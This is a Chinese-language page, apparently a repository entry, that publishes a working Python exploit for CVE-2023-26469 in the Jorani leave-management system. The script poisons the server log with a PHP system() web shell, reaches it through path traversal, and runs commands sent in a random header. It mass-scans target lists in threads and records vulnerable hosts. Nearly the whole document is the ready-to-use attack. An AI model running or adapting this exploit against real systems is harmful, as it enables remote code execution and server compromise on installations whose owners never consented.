Jorani远程命令执行漏洞 CVE-2023-26469

Jorani是一款开源的员工考勤和休假管理系统，适用于中小型企业和全球化组织，它简化了员工工时记录、休假请求和审批流程，并提供了多语言支持以满足不同地区的需求。
在 Jorani 1.0.0 中，攻击者可以利用路径遍历来访问文件并在服务器上执行代码。

Author: VulnExpo

Jorani_CVE-2023-26469_exp.py

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+# 作者: VulnExpo
+# 日期: 2023-11-13
+
+import argparse
+import threading
+import requests
+import datetime
+import re
+import base64
+import random
+import string
+requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
+
+def check_for_vulnerability(url, proxies=None, success_file=None):
+	try:
+		# 正则表达式模式
+		CSRF_PATTERN = re.compile('<input type="hidden" name="csrf_test_jorani" value="(.*?)"')
+		CMD_PATTERN = re.compile('---------(.*?)---------', re.S)
+
+		# 定义目标 URL 路径
+		URLS = {
+			'login': '/session/login',
+			'view': '/pages/view/',
+		}
+
+		# 生成随机的请求头名称
+		def generate_random_header_name():
+			alphabet = string.ascii_uppercase
+			return ''.join(random.choice(alphabet) for i in range(12))
+
+		HEADER_NAME = generate_random_header_name()
+
+		# 恶意负载
+		POISON_PAYLOAD = "<?php if(isset($_SERVER['HTTP_" + HEADER_NAME + "'])){system(base64_decode($_SERVER['HTTP_" + HEADER_NAME + "']));} ?>"
+		PATH_TRAV_PAYLOAD = "../../application/logs"
+		command = "id"
+
+		# 创建会话并获取会话 cookie
+		session = requests.Session()
+		# print("Requesting session cookie")
+		response = session.get(url + URLS['login'], verify=False)
+		cookies = session.cookies.get_dict()
+
+		# 提取 CSRF 令牌
+		csrf_token = re.findall(CSRF_PATTERN, response.text)[0]
+		# print(f"Poisoning log file with payload: '{POISON_PAYLOAD}'")
+		# print(f"Setting path traversal to '{PATH_TRAV_PAYLOAD}'")
+		# print(f"Recovered CSRF Token: {csrf_token}")
+
+		# 向服务器发送恶意请求以污染日志文件
+		data = {
+			"csrf_test_jorani": csrf_token,
+			"last_page": "session/login",
+			"language": PATH_TRAV_PAYLOAD,
+			"login": POISON_PAYLOAD,
+			"CipheredValue": "DummyPassword"
+		}
+		session.post(url + URLS['login'], data=data)
+
+		log_file_name = f"log-{datetime.date.today().isoformat()}"
+
+		# 设置特殊请求头以执行操作系统命令
+		BypassRedirect = {
+			'X-REQUESTED-WITH': 'XMLHttpRequest',
+			HEADER_NAME: base64.b64encode(f"echo ---------;{command} 2>&1;echo ---------;".encode()).decode()
+		}
+		response = session.get(url + URLS['view'] + log_file_name, headers=BypassRedirect)
+		command_output = re.findall(CMD_PATTERN, response.text)
+		try:
+			print(f"目标 {url} 响应内容 {command_output[0].strip()}")
+			with open(success_file, 'a') as s_file:
+				s_file.write(f"++++++++++++++++++\n")
+				s_file.write(f"目标URL: {url}\n")
+				s_file.write(f"响应内容: {command_output[0].strip()}\n\n")
+		except Exception as e:
+			print(f"目标 {url} 发生异常：{e}")
+			return False
+	except Exception as e:
+		print(f"目标 {url} 发生异常：{e}")
+
+def scan_targets(targets, proxies=None, success_file=None):
+	for target in targets:
+		target = target.strip()
+		check_for_vulnerability(target, proxies, success_file)
+
+def multi_threaded_scan(urls, proxies=None, success_file=None, num_threads=4):
+	threads = []
+
+	for i in range(num_threads):
+		thread = threading.Thread(target=scan_targets, args=(urls[i::num_threads], proxies, success_file))
+		threads.append(thread)
+
+	for thread in threads:
+		thread.start()
+
+	for thread in threads:
+		thread.join()
+
+if __name__ == '__main__':
+	parser = argparse.ArgumentParser(description="Jorani远程命令执行漏洞CVE-2023-26469")
+	parser.add_argument("-u", "--url", help="目标URL")
+	parser.add_argument("-f", "--file", default="url.txt", help="目标URL列表，默认为url.txt")
+	parser.add_argument("-t", "--threads", type=int, default=4, help="线程数，默认为4")
+	parser.add_argument("-p", "--proxy", help="代理服务器地址（例如：http://localhost:8080）")
+	args = parser.parse_args()
+
+	if not args.url and not args.file:
+		print("请使用 -u 指定要扫描的目标URL或使用默认文件 url.txt。")
+		exit(1)
+
+	if args.url:
+		urls = [args.url]
+	elif args.file:
+		with open(args.file, 'r') as file:
+			urls = file.readlines()
+
+	success_file = 'success_targets.txt'
+
+	proxies = {
+		"http": args.proxy,
+		"https": args.proxy
+	} if args.proxy else None
+
+	multi_threaded_scan(urls, proxies, success_file, args.threads)
+
+	print("扫描完成，成功的目标已保存到 success_targets.txt 文件中。")